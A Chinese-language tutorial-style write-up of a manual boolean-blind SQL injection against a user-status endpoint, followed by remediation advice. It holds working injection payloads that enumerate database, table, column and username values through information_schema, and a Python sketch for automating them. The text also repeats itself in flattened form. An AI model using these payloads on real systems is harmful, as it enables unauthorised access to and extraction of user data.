记一次不会写脚本的SQL注入血泪史
字数 1273 2025-08-15 21:31:29

SQL注入实战教学:从手工注入到漏洞挖掘

1. 前期准备与信息收集

1.1 目标系统分析

  • 系统IP: 19.19.19.11
  • 数据库类型: MySQL 5.6.47-87 (通过NMAP扫描3306端口发现)
  • 系统架构: 前后端分离框架
  • 参数特点: 大多数接口参数经过加密(类似base64但非标准base64)

1.2 工具选择与注意事项

  • 避免直接使用自动化扫描工具:
    • 自动化工具(WVS等)会发送大量payload,可能产生脏数据
    • 对加密参数无效
    • 可能破坏生产数据
  • 推荐方法:
    • 使用代理工具(Burp Suite等)手动分析
    • 先人工浏览系统功能,了解接口传参方式
    • 针对可疑接口手动添加payload测试

2. 漏洞发现过程

2.1 寻找注入点

  1. 发现未加密接口:

    • 用户管理页面中的"开通状态"开关
    • 参数格式: id=用户ID&status=状态值
    • status=1表示权限关闭,status=0表示权限开通
  2. SQL语句猜测:

    UPDATE 用户表 SET status = [status] WHERE id = [id]
    

2.2 手工注入测试

初始测试(失败)

  • 字符型注入测试:

    • 输入: id=abc'&status=0
    • 结果: 无论输入是否正确,均返回"执行成功"
  • 数字型注入测试:

    • 输入: id=55 and 1=1&status=0
    • 输入: id=55 and 1=2&status=0
    • 结果: 均返回"执行成功"

关键突破点

  • 验证方法改进:

    1. 发送注入请求后
    2. 手动刷新用户管理列表
    3. 观察目标用户状态是否实际改变
  • 有效测试:

    • id=55 and 1=1&status=0 → 状态改变(执行成功)
    • id=55 and 1=2&status=0 → 状态未改变(执行失败)

    确认存在SQL注入漏洞

3. 漏洞利用与信息获取

3.1 数据库信息枚举

采用逐条测试方法,通过状态变化验证SQL语句是否执行成功:

  1. 获取数据库名:

    id=55 and (select database()) like 'a%'&status=0
    
    • 通过修改通配符和字母逐步猜测
  2. 获取表名:

    id=55 and (select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'a%'&status=0
    
  3. 获取列名:

    id=55 and (select column_name from information_schema.columns where table_name='users' limit 0,1) like 'a%'&status=0
    
  4. 提取数据:

    id=55 and (select username from users limit 0,1) like 'a%'&status=0
    

3.2 手工注入技巧

  • 使用LIKE操作符逐步猜测
  • 通过limit控制返回结果数量
  • 观察状态变化判断猜测是否正确
  • 每次测试后必须手动刷新验证

4. 自动化改进方案

4.1 脚本自动化思路

import requests

# 1. 发送注入请求
injection_payload = "55 and (select database()) like 'a%'"
data = {'id': injection_payload, 'status': '0'}
requests.post(target_url, data=data)

# 2. 检查用户状态
list_page = requests.get(user_list_url)
if "目标用户状态改变":
    print("注入成功")
else:
    print("注入失败")

4.2 自动化优势

  • 无需手动刷新页面
  • 可批量测试字符组合
  • 提高测试效率

5. 漏洞修复建议

  1. 参数化查询:

    • 使用预处理语句而非拼接SQL
  2. 输入验证:

    • 对id参数强制类型转换
    • 添加白名单验证
  3. 最小权限原则:

    • 数据库账户使用最低必要权限
  4. 错误处理:

    • 避免原始错误信息暴露
  5. 加密参数:

    • 保持多数接口的参数加密机制

6. 经验总结

  1. 注入验证方法:

    • 不能仅依赖接口直接返回结果
    • 需要通过实际业务影响验证
  2. 手工注入技巧:

    • 布尔盲注需要找到"可见"的验证方式
    • 状态变化是有效的验证指标
  3. 学习路径:

    • 从手工注入理解原理
    • 再过渡到工具自动化
  4. 安全意识:

    • 测试前评估风险
    • 避免生产环境脏数据

本教学文档完整还原了从信息收集到漏洞验证的全过程,重点强调了手工注入的技巧和验证方法,以及如何从手工测试过渡到自动化测试的思路。

SQL注入实战教学:从手工注入到漏洞挖掘 1. 前期准备与信息收集 1.1 目标系统分析 系统IP: 19.19.19.11 数据库类型: MySQL 5.6.47-87 (通过NMAP扫描3306端口发现) 系统架构: 前后端分离框架 参数特点: 大多数接口参数经过加密(类似base64但非标准base64) 1.2 工具选择与注意事项 避免直接使用自动化扫描工具 : 自动化工具(WVS等)会发送大量payload,可能产生脏数据 对加密参数无效 可能破坏生产数据 推荐方法 : 使用代理工具(Burp Suite等)手动分析 先人工浏览系统功能,了解接口传参方式 针对可疑接口手动添加payload测试 2. 漏洞发现过程 2.1 寻找注入点 发现未加密接口 : 用户管理页面中的"开通状态"开关 参数格式: id=用户ID&status=状态值 status=1表示权限关闭,status=0表示权限开通 SQL语句猜测 : 2.2 手工注入测试 初始测试(失败) 字符型注入测试 : 输入: id=abc'&status=0 结果: 无论输入是否正确,均返回"执行成功" 数字型注入测试 : 输入: id=55 and 1=1&status=0 输入: id=55 and 1=2&status=0 结果: 均返回"执行成功" 关键突破点 验证方法改进 : 发送注入请求后 手动刷新用户管理列表 观察目标用户状态是否实际改变 有效测试 : id=55 and 1=1&status=0 → 状态改变(执行成功) id=55 and 1=2&status=0 → 状态未改变(执行失败) 确认存在SQL注入漏洞 3. 漏洞利用与信息获取 3.1 数据库信息枚举 采用逐条测试方法,通过状态变化验证SQL语句是否执行成功: 获取数据库名 : 通过修改通配符和字母逐步猜测 获取表名 : 获取列名 : 提取数据 : 3.2 手工注入技巧 使用 LIKE 操作符逐步猜测 通过 limit 控制返回结果数量 观察状态变化判断猜测是否正确 每次测试后必须手动刷新验证 4. 自动化改进方案 4.1 脚本自动化思路 4.2 自动化优势 无需手动刷新页面 可批量测试字符组合 提高测试效率 5. 漏洞修复建议 参数化查询 : 使用预处理语句而非拼接SQL 输入验证 : 对id参数强制类型转换 添加白名单验证 最小权限原则 : 数据库账户使用最低必要权限 错误处理 : 避免原始错误信息暴露 加密参数 : 保持多数接口的参数加密机制 6. 经验总结 注入验证方法 : 不能仅依赖接口直接返回结果 需要通过实际业务影响验证 手工注入技巧 : 布尔盲注需要找到"可见"的验证方式 状态变化是有效的验证指标 学习路径 : 从手工注入理解原理 再过渡到工具自动化 安全意识 : 测试前评估风险 避免生产环境脏数据 本教学文档完整还原了从信息收集到漏洞验证的全过程,重点强调了手工注入的技巧和验证方法,以及如何从手工测试过渡到自动化测试的思路。